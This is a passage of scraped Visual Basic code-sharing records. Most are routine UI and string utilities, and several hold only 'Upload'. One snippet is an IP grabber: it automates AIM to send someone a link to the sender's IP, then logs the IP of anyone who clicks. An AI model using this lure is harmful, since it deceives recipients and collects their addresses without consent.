Ambient.Font\nConst mDef_HoverColor = vbHighlight\n' Public Enumerations\n' *******************\nPublic Enum b2kClickReason\n b2kReasonMouse\n b2kReasonAccessKey\n b2kReasonKeyboard\nEnd Enum\n' Events\n' ******\nEvent Click(ByVal ClickReason As b2kClickReason)\nPrivate Sub tmrHighlight_Timer()\n Dim pntCursor As POINTAPI\n \n apiGetCursorPos pntCursor\n If apiWindowFromPoint(pntCursor.X, pntCursor.Y) = hWnd Then\n If Not mbHasCapture Then\n Call ApplyProperties(apyDrawBorder)\n lblCaption.ForeColor = mProp_HoverColor\n mbHasCapture = True\n End If\n Else\n If mbHasCapture Then\n Line (0, 0)-(ScaleWidth - 1, ScaleHeight - 1), mProp_BackColor, B\n lblCaption.ForeColor = vbButtonText\n mbHasCapture = False\n End If\n End If\nEnd Sub\nPrivate Sub UserControl_AccessKeyPress(KeyAscii As Integer)\n RaiseEvent Click(b2kReasonAccessKey)\nEnd Sub\nPrivate Sub UserControl_Click()\n RaiseEvent Click(b2kReasonMouse)\nEnd Sub\nPrivate Sub UserControl_EnterFocus()\n Dim rctFocus As RECT\n \n If Not mProp_FocusRect Then Exit Sub\n \n rctFocus.Left = 3\n rctFocus.Top = 3\n rctFocus.Right = ScaleWidth - 3\n rctFocus.Bottom = ScaleHeight - 3\n \n apiDrawFocusRect hdc, rctFocus\n Refresh\nEnd Sub\nPrivate Sub UserControl_ExitFocus()\n If mProp_FocusRect Then Line (3, 3)-(ScaleWidth - 4, ScaleHeight - 4), mProp_BackColor, B\nEnd Sub\nPrivate Sub UserControl_Initialize()\n AutoRedraw = True\n ScaleMode = vbPixels\n lblCaption.Alignment = vbCenter\n lblCaption.AutoSize = True\n lblCaption.BackStyle = vbTransparent\n tmrHighlight.Enabled = False\n tmrHighlight.Interval = 1\nEnd Sub\nPrivate Sub UserControl_InitProperties()\n Width = 1215\n Height = 375\n \n mProp_AlwaysHighlighted = mDef_AlwaysHighlighted\n mProp_BackColor = mDef_BackColor\n mProp_Caption = mDef_Caption\n mProp_Enabled = mDef_Enabled\n mProp_FocusRect = mDef_FocusRect\n Set mProp_Font = Ambient.Font\n mProp_HoverColor = mDef_HoverColor\n \n Call ApplyProperties(apyAll)\nEnd Sub\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag)\n mProp_AlwaysHighlighted = PropBag.ReadProperty(\"AlwaysHighlighted\", mDef_AlwaysHighlighted)\n mProp_BackColor = PropBag.ReadProperty(\"BackColor\", mDef_BackColor)\n mProp_Caption = PropBag.ReadProperty(\"Caption\", mDef_Caption)\n mProp_Enabled = PropBag.ReadProperty(\"Enabled\", mDef_Enabled)\n mProp_FocusRect = PropBag.ReadProperty(\"FocusRect\", mDef_FocusRect)\n Set mProp_Font = PropBag.ReadProperty(\"Font\", Ambient.Font)\n mProp_HoverColor = PropBag.ReadProperty(\"HoverColor\", mDef_HoverColor)\n \n Call ApplyProperties(apyAll)\n \n If Ambient.UserMode Then\n If mProp_AlwaysHighlighted Then\n Call ApplyProperties(apyDrawBorder)\n Else\n tmrHighlight = True\n End If\n End If\nEnd Sub\nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag)\n With PropBag\n .WriteProperty \"AlwaysHighlighted\", mProp_AlwaysHighlighted, mDef_AlwaysHighlighted\n .WriteProperty \"BackColor\", mProp_BackColor, mDef_BackColor\n .WriteProperty \"Caption\", mProp_Caption, mDef_Caption\n .WriteProperty \"Enabled\", mProp_Enabled, mDef_Enabled\n .WriteProperty \"FocusRect\", mProp_FocusRect, mDef_FocusRect\n .WriteProperty \"Font\", mProp_Font, Ambient.Font\n .WriteProperty \"HoverColor\", mProp_HoverColor, mDef_HoverColor\n End With\nEnd Sub\nPrivate Sub UserControl_KeyDown(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeySpace Or KeyCode = vbKeyReturn Then\n UserControl_MouseDown -2, -2, -2, -2\n End If\nEnd Sub\nPrivate Sub UserControl_KeyPress(KeyAscii As Integer)\n If KeyAscii = vbKeySpace Or KeyAscii = vbKeyReturn Then\n RaiseEvent Click(b2kReasonKeyboard)\n End If\nEnd Sub\nPrivate Sub UserControl_KeyUp(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeySpace Or KeyCode = vbKeyReturn Then\n UserControl_MouseUp -2, -2, -2, -2\n End If\nEnd Sub\nPrivate Sub UserControl_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim rctBtn As RECT\n Dim dwRetVal As Long\n \n tmrHighlight.Enabled = False\n lblCaption.Left = mpntLabelPos.X + 1\n lblCaption.Top = mpntLabelPos.Y + 1\n Line (0, 0)-(Width, Height), mProp_BackColor, B\n \n rctBtn.Left = 0\n rctBtn.Top = 0\n rctBtn.Right = ScaleWidth\n rctBtn.Bottom = ScaleHeight\n \n dwRetVal = apiDrawEdge(hdc, rctBtn, BDR_MOUSEDOWN, BF_RECT)\nEnd Sub\nPrivate Sub UserControl_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim pntCursor As POINTAPI\n \n lblCaption.Left = mpntLabelPos.X\n lblCaption.Top = mpntLabelPos.Y\n \n apiGetCursorPos pntCursor\n If apiWindowFromPoint(pntCursor.X, pntCursor.Y) = hWnd Or mProp_AlwaysHighlighted Then\n Call ApplyProperties(apyDrawBorder)\n mbHasCapture = True\n Else\n Line (0, 0)-(ScaleWidth - 1, ScaleHeight - 1), mProp_BackColor, B\n mbHasCapture = False\n End If\n \n If Not mProp_AlwaysHighlighted Then tmrHighlight.Enabled = True\nEnd Sub\nPrivate Sub lblCaption_Click()\n RaiseEvent Click(b2kReasonMouse)\nEnd Sub\nPrivate Sub lblCaption_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n UserControl_MouseDown Button, Shift, -1, -1\nEnd Sub\nPrivate Sub lblCaption_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n UserControl_MouseUp Button, Shift, -1, -1\nEnd Sub\nPrivate Sub UserControl_Resize()\n Dim rctBtn As RECT\n Dim dwRetVal As Long\n Static sbFirstTime As Boolean\n \n If Not sbFirstTime Then\n sbFirstTime = True\n Else\n Cls\n End If\n \n lblCaption.AutoSize = False\n lblCaption.Top = (ScaleHeight / 2) - (lblCaption.Height / 2)\n lblCaption.Left = 1\n lblCaption.Width = ScaleWidth - 2\n \n If Not Ambient.UserMode Or mProp_AlwaysHighlighted Then\n Call ApplyProperties(apyDrawBorder)\n End If\n \n mpntLabelPos.X = lblCaption.Left\n mpntLabelPos.Y = lblCaption.Top\n mpntOldSize.X = ScaleWidth\n mpntOldSize.Y = ScaleHeight\nEnd Sub\n' Private Procedures\n' ******************\nPrivate Sub ApplyProperties(ByVal apyWhatToApply As htWhatToApply)\n Dim rctBtn As RECT\n Dim dwRetVal As Long\n Dim n As Long\n \n If (apyWhatToApply And apyBackColor) Then UserControl.BackColor = mProp_BackColor\n If (apyWhatToApply And apyCaption) Then\n lblCaption.Caption = mProp_Caption\n AccessKeys = \"\"\n For n = Len(mProp_Caption) To 1 Step -1\n If Mid$(mProp_Caption, n, 1) = \"&\" Then\n If n = 1 Then\n AccessKeys = Mid$(mProp_Caption, n + 1, 1)\n ElseIf Not Mid$(mProp_Caption, n - 1, 1) = \"&\" Then\n AccessKeys = Mid$(mProp_Caption, n + 1, 1)\n Exit For\n Else\n n = n - 1\n End If\n End If\n Next n\n End If\n \n If (apyWhatToApply And apyFont) Then\n Set UserControl.Font = mProp_Font\n lblCaption.AutoSize = True\n Set lblCaption.Font = mProp_Font\n lblCaption.AutoSize = False\n lblCaption.Top = (ScaleHeight / 2) - (lblCaption.Height / 2)\n lblCaption.Left = 1\n lblCaption.Width = ScaleWidth - 2\n End If\n \n If (apyWhatToApply And apyEnabled) Then\n If Ambient.UserMode Then\n lblCaption.Enabled = mProp_Enabled\n UserControl.Enabled = mProp_Enabled\n End If\n End If\n \n If (apyWhatToApply And apyDrawBorder) Then\n Line (0, 0)-(Width, Height), mProp_BackColor, B\n rctBtn.Left = 0\n rctBtn.Top = 0\n rctBtn.Right = ScaleWidth\n rctBtn.Bottom = ScaleHeight\n \n dwRetVal = apiDrawEdge(hdc, rctBtn, BDR_MOUSEOVER, BF_RECT)\n End If\nEnd Sub\n' Properies\n' *********\nPublic Property Get AlwaysHighlighted() As Boolean\n AlwaysHighlighted = mProp_AlwaysHighlighted\nEnd Property\nPublic Property Let AlwaysHighlighted(ByVal bNewValue As Boolean)\n If Ambient.UserMode Then\n Err.Raise 383\n Else\n mProp_AlwaysHighlighted = bNewValue\n PropertyChanged \"AlwaysHighlighted\"\n End If\nEnd Property\nPublic Property Get BackColor() As OLE_COLOR\n BackColor = mProp_BackColor\nEnd Property\nPublic Property Let BackColor(ByVal oleNewValue As OLE_COLOR)\n mProp_BackColor = oleNewValue\n Call ApplyProperties(apyBackColor Or apyDrawBorder)\n PropertyChanged \"BackColor\"\nEnd Property\nPublic Property Get Caption() As String\n Caption = mProp_Caption\nEnd Property\nPublic Property Let Caption(ByVal sNewValue As String)\n mProp_Caption = sNewValue\n Call ApplyProperties(apyCaption)\n PropertyChanged \"Caption\"\nEnd Property\nPublic Property Get FocusRect() As Boolean\n FocusRect = mProp_FocusRect\nEnd Property\nPublic Property Let FocusRect(ByVal bNewValue As Boolean)\n If Ambient.UserMode Then\n Err.Raise 383\n Else\n mProp_FocusRect = bNewValue\n PropertyChanged \"FocusRect\"\n End If\nEnd Property\nPublic Property Get Font() As StdFont\n Set Font = mProp_Font\nEnd Property\nPublic Property Set Font(ByVal fntNewValue As StdFont)\n Set mProp_Font = fntNewValue\n Call ApplyProperties(apyFont)\n PropertyChanged \"Font\"\nEnd Property\nPublic Property Get Enabled() As Boolean\n Enabled = mProp_Enabled\nEnd Property\nPublic Property Let Enabled(ByVal bNewValue As Boolean)\n mProp_Enabled = bNewValue\n Call ApplyProperties(apyEnabled)\n PropertyChanged \"Enabled\"\nEnd Property\nPublic Property Get HoverColor() As OLE_COLOR\n HoverColor = mProp_HoverColor\nEnd Property\nPublic Property Let HoverColor(ByVal oleNewValue As OLE_COLOR)\n mProp_HoverColor = oleNewValue\n PropertyChanged \"HoverColor\"\nEnd Property\n"},{"WorldId":1,"id":7171,"LineNumber":1,"line":"Sub Main()\n Dim WC As WNDCLASS\n Dim dwRetVal As Long\n Dim msgWnd As MSG\n \n WC.lpszClassName = HT_CLASSNAME\n WC.lpfnwndproc = GetAddressOf(AddressOf MainWndProc)\n WC.style = CS_OWNDC Or CS_VREDRAW Or CS_HREDRAW\n WC.hInstance = App.hInstance\n WC.hIcon = apiLoadIcon(0, IDI_APPLICATION)\n WC.hCursor = apiLoadCursor(0, IDC_ARROW)\n WC.hbrBackground = COLOR_WINDOW\n WC.cbClsextra = 0\n WC.cbWndExtra2 = 0\n \n dwRetVal = apiRegisterClass(WC)\n Debug.Print \"RegisterClass returns '\" & CStr(dwRetVal) & \"'.\"\n \n hWnd = apiCreateWindowEx(0, HT_CLASSNAME, HT_WINDOWTITLE, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, 0, 0, App.hInstance, 0)\n Debug.Print \"CreateWindowEx returns hWnd '\" & CStr(hWnd) & \"'.\"\n \n dwRetVal = apiSetWindowPos(hWnd, 0, 200, 200, 300, 300, &H40)\n Debug.Print \"SetWindowPos returns '\" & CStr(dwRetVal) & \"'.\"\n \n Do While apiGetMessage(msgWnd, hWnd, 0&, 0&) > 0\n apiDispatchMessage msgWnd ': DoEvents\n Loop\n \n dwRetVal = apiUnregisterClass(HT_CLASSNAME, App.hInstance)\n Debug.Print \"UnregisterClass returns '\" & CStr(dwRetVal) & \"'.\"\nEnd Sub\nPrivate Function MainWndProc(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n MainWndProc = apiDefWindowProc(hWnd, wMsg, wParam, lParam)\nEnd Function\nPrivate Function GetAddressOf(ProcAddress As Long) As Long\n GetAddressOf = ProcAddress\nEnd Function\n"},{"WorldId":1,"id":7600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5448,"LineNumber":1,"line":"Option Explicit\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\n'API calls required for doing this cool stuff\nPrivate Declare Function BeginPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal lpString As String, ByVal nCount As Long) As Long\nPrivate Declare Function EndPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function PathToRegion Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function GetRgnBox Lib \"gdi32\" (ByVal hRgn As Long, lpRect As RECT) As Long\nPrivate Declare Function CreateRectRgnIndirect Lib \"gdi32\" (lpRect As RECT) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPrivate Const WM_NCLBUTTONDOWN = &HA1\nPrivate Const HTCAPTION = 2\nPrivate Const RGN_AND = 1\nDim Color1 As Long\nDim Color2 As Long\nPrivate Function GetTextRgn(Font As String, Size As Integer, Text As String) As Long\nMe.Font = Font\nMe.FontSize = Size\n Dim hRgn1 As Long, hRgn2 As Long\n Dim rct As RECT\n BeginPath hdc\n TextOut hdc, 10, 10, Text, Len(Text)\n EndPath hdc\n hRgn1 = PathToRegion(hdc)\n GetRgnBox hRgn1, rct\n hRgn2 = CreateRectRgnIndirect(rct)\n CombineRgn hRgn2, hRgn2, hRgn1, RGN_AND\n DeleteObject hRgn1\n GetTextRgn = hRgn2\nEnd Function\nPrivate Sub GradateColors(Colors() As Long, ByVal Color1 As Long, ByVal Color2 As Long)\n On Error Resume Next\n Dim i As Integer\n Dim dblR As Double, dblG As Double, dblB As Double\n Dim addR As Double, addG As Double, addB As Double\n Dim bckR As Double, bckG As Double, bckB As Double\n dblR = CDbl(Color1 And &HFF)\n dblG = CDbl(Color1 And &HFF00&) / 255\n dblB = CDbl(Color1 And &HFF0000) / &HFF00&\n bckR = CDbl(Color2 And &HFF&)\n bckG = CDbl(Color2 And &HFF00&) / 255\n bckB = CDbl(Color2 And &HFF0000) / &HFF00&\n addR = (bckR - dblR) / UBound(Colors)\n addG = (bckG - dblG) / UBound(Colors)\n addB = (bckB - dblB) / UBound(Colors)\n \n For i = 0 To UBound(Colors)\n dblR = dblR + addR\n dblG = dblG + addG\n dblB = dblB + addB\n If dblR > 255 Then dblR = 255\n If dblG > 255 Then dblG = 255\n If dblB > 255 Then dblB = 255\n If dblR < 0 Then dblR = 0\n If dblG < 0 Then dblG = 0\n If dblG < 0 Then dblB = 0\n Colors(i) = RGB(dblR, dblG, dblB)\n Next\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'these are for moving the form without its titlebar\n ReleaseCapture \n SendMessage hWnd, WM_NCLBUTTONDOWN, HTCAPTION, ByVal 0&\nEnd Sub\nPrivate Sub Form_Paint()\n Dim Colors() As Long\n Dim Iter As Long\n Const Banding = 8\n ReDim Colors(ScaleHeight \\ Banding) As Long\n GradateColors Colors(), Color1, Color2\n For Iter = 0 To ScaleHeight Step Banding\n Line (0, Iter)-(ScaleWidth, Iter + Banding), Colors(Iter \\ Banding), BF\n Next\nEnd Sub\nPrivate Sub Form_Load()\n Dim hRgn As Long\n hRgn = GetTextRgn(\"Wingdings\", 100, \"J\" & \"<\") 'change the values: Font, Size (font), Text\n SetWindowRgn hWnd, hRgn, 1\n Color1 = vbBlack 'set this colours for gradient effect (use vb colour constants for easy use)\n Color2 = vbBlue\n Me.Refresh\nEnd Sub"},{"WorldId":1,"id":10023,"LineNumber":1,"line":"'Add two textboxes, one for the persons screen 'name and the other for what the link should say\n'Add a command button to send the IM\n'Add a ListBox, so the IPs can be stored in it\n'Add a winsock control\nPrivate Sub Command1_Click()\nCall SendIM(Text1, \"<a XXXX=\" & \"\"\"\" & Winsock1.LocalIP & \"\"\"\" & \">\" & Text2 & \"<\\a>)\nEnd Sub\n'XXXX = href\nPrivate Sub Form_Load()\nwinsock1.localport = 80\nwinsock1.listen\nEnd Sub\nPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)\nlist1.additem winsock1.remotehostip ' Adds the remote IP address to the list box\nEnd Sub\n' Add the following code to a module\nPublic Declare Function PostMessage Lib \"user32\" Alias \"PostMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Declare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Long) As Long\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPublic Declare Function SendMessageByString Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long\nPublic Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPublic Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\n' Global & Public Const\nConst EM_UNDO = &HC7\nGlobal Const GFSR_SYSTEMRESOURCES = 0\nGlobal Const GFSR_GDIRESOURCES = 1\nGlobal Const GFSR_USERRESOURCES = 2\nGlobal Const WM_MDICREATE = &H220\nGlobal Const WM_MDIDESTROY = &H221\nGlobal Const WM_MDIACTIVATE = &H222\nGlobal Const WM_MDIRESTORE = &H223\nGlobal Const WM_MDINEXT = &H224\nGlobal Const WM_MDIMAXIMIZE = &H225\nGlobal Const WM_MDITILE = &H226\nGlobal Const WM_MDICASCADE = &H227\nGlobal Const WM_MDIICONARRANGE = &H228\nGlobal Const WM_MDIGETACTIVE = &H229\nGlobal Const WM_MDISETMENU = &H230\nGlobal Const WM_CUT = &H300\nGlobal Const WM_COPY = &H301\nGlobal Const WM_PASTE = &H302\nGlobal Const SND_SYNC = &H0\nGlobal Const SND_ASYNC = &H1\nGlobal Const SND_NODEFAULT = &H2\nGlobal Const SND_LOOP = &H8\nGlobal Const SND_NOSTOP = &H10\nPublic Const WM_CHAR = &H102\nPublic Const WM_SETTEXT = &HC\nPublic Const WM_USER = &H400\nPublic Const WM_KEYDOWN = &H100\nPublic Const WM_KEYUP = &H101\nPublic Const WM_LBUTTONDOWN = &H201\nPublic Const WM_LBUTTONUP = &H202\nPublic Const WM_CLOSE = &H10\nPublic Const WM_COMMAND = &H111\nPublic Const WM_CLEAR = &H303\nPublic Const WM_DESTROY = &H2\nPublic Const WM_GETTEXT = &HD\nPublic Const WM_GETTEXTLENGTH = &HE\nPublic Const WM_LBUTTONDBLCLK = &H203\nPublic Const BM_GETCHECK = &HF0\nPublic Const BM_GETSTATE = &HF2\nPublic Const BM_SETCHECK = &HF1\nPublic Const BM_SETSTATE = &HF3\nPublic Const EWX_FORCE = 4\nPublic Const EWX_LOGOFF = 0\nPublic Const EWX_REBOOT = 2\nPublic Const EWX_SHUTDOWN = 1\nPublic Const LB_GETITEMDATA = &H199\nPublic Const LB_GETCOUNT = &H18B\nPublic Const LB_ADDSTRING = &H180\nPublic Const LB_DELETESTRING = &H182\nPublic Const LB_FINDSTRING = &H18F\nPublic Const LB_FINDSTRINGEXACT = &H1A2\nPublic Const LB_GETCURSEL = &H188\nPublic Const LB_GETTEXT = &H189\nPublic Const LB_GETTEXTLEN = &H18A\nPublic Const LB_SELECTSTRING = &H18C\nPublic Const LB_SETCOUNT = &H1A7\nPublic Const LB_SETCURSEL = &H186\nPublic Const LB_SETSEL = &H185\nPublic Const LB_INSERTSTRING = &H181\nPublic Const VK_HOME = &H24\nPublic Const VK_RIGHT = &H27\nPublic Const VK_CONTROL = &H11\nPublic Const VK_DELETE = &H2E\nPublic Const VK_DOWN = &H28\nPublic Const VK_LEFT = &H25\nPublic Const VK_RETURN = &HD\nPublic Const VK_SPACE = &H20\nPublic Const VK_TAB = &H9\nPublic Const HWND_TOP = 0\nPublic Const HWND_NOTOPMOST = -2\nPublic Const SWP_NOMOVE = &H2\nPublic Const SWP_NOSIZE = &H1\n\nPublic Const GW_CHILD = 5\nPublic Const GW_HWNDFIRST = 0\nPublic Const GW_HWNDLAST = 1\nPublic Const GW_HWNDNEXT = 2\nPublic Const GW_HWNDPREV = 3\nPublic Const GW_MAX = 5\nPublic Const GW_OWNER = 4\nPublic Const SW_MAXIMIZE = 3\nPublic Const SW_MINIMIZE = 6\nPublic Const SW_HIDE = 0\nPublic Const SW_RESTORE = 9\nPublic Const SW_SHOW = 5\nPublic Const SW_SHOWDEFAULT = 10\nPublic Const SW_SHOWMAXIMIZED = 3\nPublic Const SW_SHOWMINIMIZED = 2\nPublic Const SW_SHOWMINNOACTIVE = 7\nPublic Const SW_SHOWNOACTIVATE = 4\nPublic Const SW_SHOWNORMAL = 1\nPublic Const MF_APPEND = &H100&\nPublic Const MF_DELETE = &H200&\nPublic Const MF_CHANGE = &H80&\nPublic Const MF_ENABLED = &H0&\nPublic Const MF_DISABLED = &H2&\nPublic Const MF_REMOVE = &H1000&\nPublic Const MF_POPUP = &H10&\nPublic Const MF_STRING = &H0&\nPublic Const MF_UNCHECKED = &H0&\nPublic Const MF_CHECKED = &H8&\nPublic Const MF_GRAYED = &H1&\nPublic Const MF_BYPOSITION = &H400&\nPublic Const MF_BYCOMMAND = &H0&\nPublic Const GWW_HINSTANCE = (-6)\nPublic Const GWW_ID = (-12)\nPublic Const GWL_STYLE = (-16)\nPublic Const ENTA = 13\nPublic Const PROCESS_VM_READ = &H10\nPublic Const STANDARD_RIGHTS_REQUIRED = &HF0000\nPrivate Const EM_LINESCROLL = &HB6\nPrivate Const SPI_SCREENSAVERRUNNING = 97\nType RECT\n Left As Long\n Top As Long\n Right As Long\n bottom As Long\nEnd Type\nType POINTAPI\n X As Long\n y As Long\nEnd Type\nSub IM_Send(SendName As String, SayWhat As String, CloseIM As Boolean)\n' My send IM comes with a little thing where you can eather close\n' it or not close it....\n' Ex: Call IM_Send(\"ThereSn\",\"Sup man\",True) <-- that closes the IM\n' Put False to not close the IM, All the IM sends have the TRUE FALSE thing\n Dim BuddyList As Long\n BuddyList& = FindWindow(\"_Oscar_BuddyListWin\", vbNullString)\n If BuddyList& <> 0& Then\n GoTo Start\n Else\n Exit Sub\n End If\nStart:\n \n Dim TabWin As Long, IMButtin As Long, IMWin As Long\n Dim ComboBox As Long, TextEditBox As Long, TextSet As Long\n Dim EditThing As Long, TextSet2 As Long, SendButtin As Long, Click As Long\n BuddyList& = FindWindow(\"_Oscar_BuddyListWin\", vbNullString)\n TabWin& = FindWindowEx(BuddyList&, 0, \"_Oscar_TabGroup\", vbNullString)\n IMButtin& = FindWindowEx(TabWin&, 0, \"_Oscar_IconBtn\", vbNullString)\n Click& = SendMessage(IMButtin&, WM_LBUTTONDOWN, 0, 0&)\n Click& = SendMessage(IMButtin&, WM_LBUTTONUP, 0, 0&)\n \n IMWin& = FindWindow(\"AIM_IMessage\", vbNullString)\n ComboBox& = FindWindowEx(IMWin&, 0, \"_Oscar_PersistantCombo\", vbNullString)\n TextEditBox& = FindWindowEx(ComboBox&, 0, \"Edit\", vbNullString)\n TextSet& = SendMessageByString(TextEditBox&, WM_SETTEXT, 0, SendName$)\n \n EditThing& = FindWindowEx(IMWin&, 0, \"WndAte32Class\", vbNullString)\n EditThing& = GetWindow(EditThing&, 2)\n TextSet2& = SendMessageByString(EditThing&, WM_SETTEXT, 0, SayWhat$)\n SendButtin& = FindWindowEx(IMWin&, 0, \"_Oscar_IconBtn\", vbNullString)\n Click& = SendMessage(SendButtin&, WM_LBUTTONDOWN, 0, 0&)\n Click& = SendMessage(SendButtin&, WM_LBUTTONUP, 0, 0&)\n If CloseIM = True Then\n Win_Killwin (IMWin&)\n Else\n Exit Sub\n End If\nEnd Sub\nSub Win_Killwin(TheWind&)\n Call PostMessage(TheWind&, WM_CLOSE, 0&, 0&)\nEnd Sub\n'If you have any questions or problems please leave feedback, or email me at vbproggy_boy@hotmail.com, thanks"},{"WorldId":1,"id":5221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6280,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_Click()\n Dim A As Variant\n Dim i As Integer\n i = 1\n A = Parse(\"hello to you\", \" \")\n Do While A(i) <> \"\"\n MsgBox A(i)\n i = i + 1\n Loop\nEnd Sub\nPublic Function Parse(sIn As String, sDel As String) As Variant\n Dim i As Integer, x As Integer, s As Integer, t As Integer\n i = 1: s = 1: t = 1: x = 1\n ReDim tArr(1 To x) As Variant\n If InStr(1, sIn, sDel) <> 0 Then\n Do\n ReDim Preserve tArr(1 To x) As Variant\n tArr(i) = Mid(sIn, t, InStr(s, sIn, sDel) - t)\n t = InStr(s, sIn, sDel) + Len(sDel)\n s = t\n If tArr(i) <> \"\" Then i = i + 1\n x = x + 1\n Loop Until InStr(s, sIn, sDel) = 0\n ReDim Preserve tArr(1 To x) As Variant\n tArr(i) = Mid(sIn, t, Len(sIn) - t + 1)\n Else\n tArr(1) = sIn\n End If\n Parse = tArr\nEnd Function"},{"WorldId":1,"id":5250,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim oldstring As String, newletter As String, oldletter As String, newstring As String\n oldstring = \"hello To the world\"\n newletter = \"YEAH\"\n oldletter = \"hello\"\n newstring = Replace(oldstring, newletter, oldletter)\n MsgBox newstring\nEnd Sub\n\nPublic Function Replace(oldstring, newletter, oldletter) As String\n Dim i As Integer\n i = 1\n\n Do While InStr(i, oldstring, oldletter, vbTextCompare) <> 0\n Replace = Replace & Mid(oldstring, i, InStr(i, oldstring, oldletter, vbTextCompare) - i) & newletter\n i = InStr(i, oldstring, oldletter, vbTextCompare) + Len(oldletter)\n Loop\n Replace = Replace & Right(oldstring, Len(oldstring) - i + 1)\nEnd Function\n"},{"WorldId":1,"id":5251,"LineNumber":1,"line":"'API declarations\nPublic Declare Function GetLongPathName Lib \"kernel32\" Alias \"GetLongPathNameA\" (ByVal lpszShortPath As String, ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long\nPublic Declare Function GetShortPathName Lib \"kernel32\" Alias \"GetShortPathNameA\" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long\nPublic Function AddBackSlash(ByVal sPath As String) As String\n'Returns sPath with a trailing backslash if sPath does not\n'already have a trailing backslash. Otherwise, returns sPath.\n sPath = Trim$(sPath)\n If Len(sPath) > 0 Then\n sPath = sPath & IIf(Right$(sPath, 1) <> \"\\\", \"\\\", \"\")\n End If\n AddBackSlash = sPath\n \nEnd Function\nPublic Function GetLongFilename(ByVal sShortFilename As String) As String\n'Returns the Long Filename associated with sShortFilename\nDim lRet As Long\nDim sLongFilename As String\n 'First attempt using 1024 character buffer.\n sLongFilename = String$(1024, \" \")\n lRet = GetLongPathName(sShortFilename, sLongFilename, Len(sLongFilename))\n \n 'If buffer is too small lRet contains buffer size needed.\n If lRet > Len(sLongFilename) Then\n 'Increase buffer size...\n sLongFilename = String$(lRet + 1, \" \")\n 'and try again.\n lRet = GetLongPathName(sShortFilename, sLongFilename, Len(sLongFilename))\n End If\n \n 'lRet contains the number of characters returned.\n If lRet > 0 Then\n GetLongFilename = Left$(sLongFilename, lRet)\n End If\n \nEnd Function\nPublic Function GetShortFilename(ByVal sLongFilename As String) As String\n'Returns the Short Filename associated with sLongFilename\nDim lRet As Long\nDim sShortFilename As String\n 'First attempt using 1024 character buffer.\n sShortFilename = String$(1024, \" \")\n lRet = GetShortPathName(sLongFilename, sShortFilename, Len(sShortFilename))\n \n 'If buffer is too small lRet contains buffer size needed.\n If lRet > Len(sShortFilename) Then\n 'Increase buffer size...\n sShortFilename = String$(lRet + 1, \" \")\n 'and try again.\n lRet = GetShortPathName(sLongFilename, sShortFilename, Len(sShortFilename))\n End If\n \n 'lRet contains the number of characters returned.\n If lRet > 0 Then\n GetShortFilename = Left$(sShortFilename, lRet)\n End If\n \nEnd 